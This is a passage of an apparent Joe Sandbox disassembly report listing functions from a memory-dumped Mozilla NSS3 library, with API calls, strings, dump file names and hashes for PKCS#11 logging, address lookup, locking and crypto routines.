Instruction Fuzzy Hash: E5411470A12104AFDB00DB54ED89F9A77B9EF4230DF25842AE90C6BB51DB319D08CBA5

Function 6CE84CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CE84CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE84D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84D37

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE84D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CE84D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE84D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE84DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CE84DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CE84E20

Strings

*pulSize = 0x%x, xrefs: 6CE84E1B
hSession = 0x%x, xrefs: 6CE84D12, 6CE84D22
C_GetObjectSize, xrefs: 6CE84CEE
(CK_INVALID_HANDLE), xrefs: 6CE84D30, 6CE84D83
hObject = 0x%x, xrefs: 6CE84D65, 6CE84D75
pulSize = 0x%p, xrefs: 6CE84DB7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 13cdfa35669261d42833c640dde28c68ec4bdbef54030fa2e3fba96cbaebd3e7
Instruction ID: 7956491cb93f3a5823ac112c39dd4ad461edeb0a604156ff4ec7b97d59418956
Opcode Fuzzy Hash: 13cdfa35669261d42833c640dde28c68ec4bdbef54030fa2e3fba96cbaebd3e7
Instruction Fuzzy Hash: 22411871A02104AFD740DB10DDD8F5A37B9EB4230DF25842AF90C6BB51DB319D08CB65

Function 6CE87C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CE87CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE87CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE87CF3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE87D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE87D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE87D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE87D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE87D77

Strings

hSession = 0x%x, xrefs: 6CE87CCE, 6CE87CDE
pSignature = 0x%p, xrefs: 6CE87D59
ulDataLen = %d, xrefs: 6CE87D40
(CK_INVALID_HANDLE), xrefs: 6CE87CEC
pData = 0x%p, xrefs: 6CE87D25
C_Verify, xrefs: 6CE87CB1
ulSignatureLen = %d, xrefs: 6CE87D72

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 2a812909f8a4a588521fff3ddc4e9496dc056516621c5f9153f13606b14ef594
Instruction ID: 6c43fc7529295b20b0507e4a64189432b97d3832d982b54c5dad7c42d7b30ab5
Opcode Fuzzy Hash: 2a812909f8a4a588521fff3ddc4e9496dc056516621c5f9153f13606b14ef594
Instruction Fuzzy Hash: C231E671B12144AFDB10DF54DD88F6A3BB2AB4731CF294429F80D6BB51DB328909CBA5

Function 6CE82F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CE82F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE82F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE82F63

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE82F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CE82F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CE82FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CE82FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CE82FE7

Strings

pOldPin = 0x%p, xrefs: 6CE82F95
pNewPin = 0x%p, xrefs: 6CE82FC9
hSession = 0x%x, xrefs: 6CE82F3E, 6CE82F4E
(CK_INVALID_HANDLE), xrefs: 6CE82F5C
C_SetPIN, xrefs: 6CE82F21
ulNewLen = %d, xrefs: 6CE82FE2
ulOldLen = %d, xrefs: 6CE82FB0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: a890428c40402b4b7f982b4f599ae31dc7f2a6e8b036d4358e0380734d31c501
Instruction ID: dd346cdec0fc7d9c2fffe54f62c9a5b51deda8c092e1f3e2ed216713fb923c4f
Opcode Fuzzy Hash: a890428c40402b4b7f982b4f599ae31dc7f2a6e8b036d4358e0380734d31c501
Instruction Fuzzy Hash: B2310275A12144AFCB409F54DD8DF4A7BB2EB4631DF294428E80DBBB51DB328808CBA5

Function 6CF1CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF1CC7B), ref: 6CF1CD7A

Part of subcall function 6CF1CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CE8C1A8,?), ref: 6CF1CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF1CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CD8E

Part of subcall function 6CE405C0: PR_EnterMonitor.NSS3 ref: 6CE405D1
Part of subcall function 6CE405C0: PR_ExitMonitor.NSS3 ref: 6CE405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF1CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF1CE48

Strings

getnameinfo, xrefs: 6CF1CDB2, 6CF1CE23
wship6.dll, xrefs: 6CF1CDE3
ws2_32.dll, xrefs: 6CF1CD75
freeaddrinfo, xrefs: 6CF1CD9F, 6CF1CE10
getaddrinfo, xrefs: 6CF1CD88, 6CF1CDF9

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: f0570ddc2ea7e48c36a1d8345651504ce3883f5aaf1dde964384d40913f07489
Instruction ID: 7dc4140a5cf8c9ed4243dc8fa1e41469d174b04b27f64bb99cc239b67472e1d6
Opcode Fuzzy Hash: f0570ddc2ea7e48c36a1d8345651504ce3883f5aaf1dde964384d40913f07489
Instruction Fuzzy Hash: DA110BB6E2B11212EB4167753C41BEF3D799B1210CF688938D815D1F80FB25C90987E6

Function 6CF61C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF613BC,?,?,?,6CF61193), ref: 6CF61C6B
PR_NewLock.NSS3(?,6CF61193), ref: 6CF61C7E

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_NewCondVar.NSS3(00000000,?,6CF61193), ref: 6CF61C91

Part of subcall function 6CE3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE421BC), ref: 6CE3BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF61193), ref: 6CF61CA7

Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE3BBEB
Part of subcall function 6CE3BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE3BBFB
Part of subcall function 6CE3BB80: GetLastError.KERNEL32 ref: 6CE3BC03
Part of subcall function 6CE3BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE3BC19
Part of subcall function 6CE3BB80: free.MOZGLUE(00000000), ref: 6CE3BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF61193), ref: 6CF61CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF61193), ref: 6CF61CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF61193), ref: 6CF61CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF61193), ref: 6CF61D1A

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D3D

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF61193), ref: 6CF61D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF61193), ref: 6CF61D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF61193), ref: 6CF61D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF61193), ref: 6CF61D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF61193), ref: 6CF61D93
PR_DestroyLock.NSS3(00000000,?,?,6CF61193), ref: 6CF61D9F
free.MOZGLUE(00000000,?,6CF61193), ref: 6CF61DA8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: cb4519c7edb4f2a83036118acbbf5330bb87208a47febc0baab4e81e2e0215a0
Instruction ID: 9dd8915c2fbd2f4c9461a22453cccab448e67ff6f1aa01db83246bbfcc253cee
Opcode Fuzzy Hash: cb4519c7edb4f2a83036118acbbf5330bb87208a47febc0baab4e81e2e0215a0
Instruction Fuzzy Hash: 363185F5E007015BEB209F65EC41B6776F4AF05758B148539E84A87F41FB31E518CBA2

Function 6CE75E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE75ECF
EnterCriticalSection.KERNEL32(?), ref: 6CE75EE3
PR_Unlock.NSS3(?), ref: 6CE75F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CE75FB5

Strings

S&l, xrefs: 6CE75E6C, 6CE7627F, 6CE75F12
S&l, xrefs: 6CE762E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CE761F4

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: a23391d4029a218dceb89a97ae4c30838505d9e8f4565636e436db8f25c59142
Instruction ID: 6cc99f3f96835e36a3842e38dbccfbbc39e75a7b2618fe5d60c65423070442a6
Opcode Fuzzy Hash: a23391d4029a218dceb89a97ae4c30838505d9e8f4565636e436db8f25c59142
Instruction Fuzzy Hash: 75F107B5A012158FDB54CF18C884B86BBF4FF09308F2582AAD8089F746D775DA85CFA1

Function 6CEC0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEC0C81

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

Part of subcall function 6CE98500: SECOID_GetAlgorithmTag_Util.NSS3(6CE995DC,00000000,00000000,00000000,?,6CE995DC,00000000,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE98517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0CC4

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEC0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEC0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEC0D7D
free.MOZGLUE(00000000), ref: 6CEC0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0DC1
free.MOZGLUE(00000000), ref: 6CEC0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEC0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEC0E0F

Part of subcall function 6CE995C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE995E0
Part of subcall function 6CE995C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE995F5
Part of subcall function 6CE995C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CE99609
Part of subcall function 6CE995C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE9961D
Part of subcall function 6CE995C0: PK11_GetInternalSlot.NSS3 ref: 6CE9970B
Part of subcall function 6CE995C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE99756
Part of subcall function 6CE995C0: PK11_GetIVLength.NSS3(?), ref: 6CE99767
Part of subcall function 6CE995C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE9977E
Part of subcall function 6CE995C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9978E

Strings

*,l, xrefs: 6CEC0DCC
-$l, xrefs: 6CEC0C64
*,l, xrefs: 6CEC0C69, 6CEC0DE0, 6CEC0C80, 6CEC0C8B, 6CEC0CAF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: 6401dc453933df0947d9604f729de0e89b33209643d93ab2aac790951691326f
Instruction ID: 16d521d8e60b2b68e9fb36c137ac29ddfa77750d2d5331b993071490982295a8
Opcode Fuzzy Hash: 6401dc453933df0947d9604f729de0e89b33209643d93ab2aac790951691326f
Instruction Fuzzy Hash: EF41B3F5E01245AFEB009F64ED45BEF7A74AF0531CF204028E9296B741E735AA14CBE2

Function 6CEB5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEB5EC0,00000000,?,?), ref: 6CEB5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEB5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEB5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEB5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEB5EC0,00000000,?,?), ref: 6CEB5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEB5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEB5D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CEB5D1A
extern:, xrefs: 6CEB5CEA, 6CEB5D4B
dbm:, xrefs: 6CEB5D03, 6CEB5D60
multiaccess:, xrefs: 6CEB5CB8
sql:, xrefs: 6CEB5CD1, 6CEB5D36

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: c3bdaba7450d904e5ce3c6ca6505b2858f1cdb453d5a1b1dbe9a57b7c8a69375
Instruction ID: 92abd606e0b703d419fbb70ada23533e100967aa4afef300ef196257b5616966
Opcode Fuzzy Hash: c3bdaba7450d904e5ce3c6ca6505b2858f1cdb453d5a1b1dbe9a57b7c8a69375
Instruction Fuzzy Hash: 3D3108A0B433419BFB401A28DD89BBB7778AF0224CF344231EE55F6B81E772D911C695

Function 6CEB6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF81DE0,?), ref: 6CEB6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEB6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEB6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEB6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEB6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEB6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEB6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEB6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEB7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEB7033
free.MOZGLUE(?), ref: 6CEB703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEB7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEB7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEB70AF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 78910c248685a41faa6d969a92e5fa1fab32082ea3ef71f3f5a17474c1777262
Instruction ID: 8e879caf32bb083958ee96d8c0163c5119e0f7b97311e773a68165c347dacd72
Opcode Fuzzy Hash: 78910c248685a41faa6d969a92e5fa1fab32082ea3ef71f3f5a17474c1777262
Instruction Fuzzy Hash: 83A106719142019BEB089F24DE82B7A32B8DB8130CF34493DF919EBB91E735D9458793

Function 6CE7AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF39
PR_Unlock.NSS3(?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7AF69
TlsGetValue.KERNEL32 ref: 6CE7B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE7B083
PR_Unlock.NSS3(?), ref: 6CE7B0A4
TlsGetValue.KERNEL32 ref: 6CE7B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE7B0D9
PR_Unlock.NSS3 ref: 6CE7B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7B182

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE7B177

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE5AB95,00000000,?,00000000,00000000,00000000), ref: 6CE7B1C2

Part of subcall function 6CEA1560: TlsGetValue.KERNEL32(00000000,?,6CE70844,?), ref: 6CEA157A
Part of subcall function 6CEA1560: EnterCriticalSection.KERNEL32(?,?,?,6CE70844,?), ref: 6CEA158F
Part of subcall function 6CEA1560: PR_Unlock.NSS3(?,?,?,?,6CE70844,?), ref: 6CEA15B2

Memory Dump Source

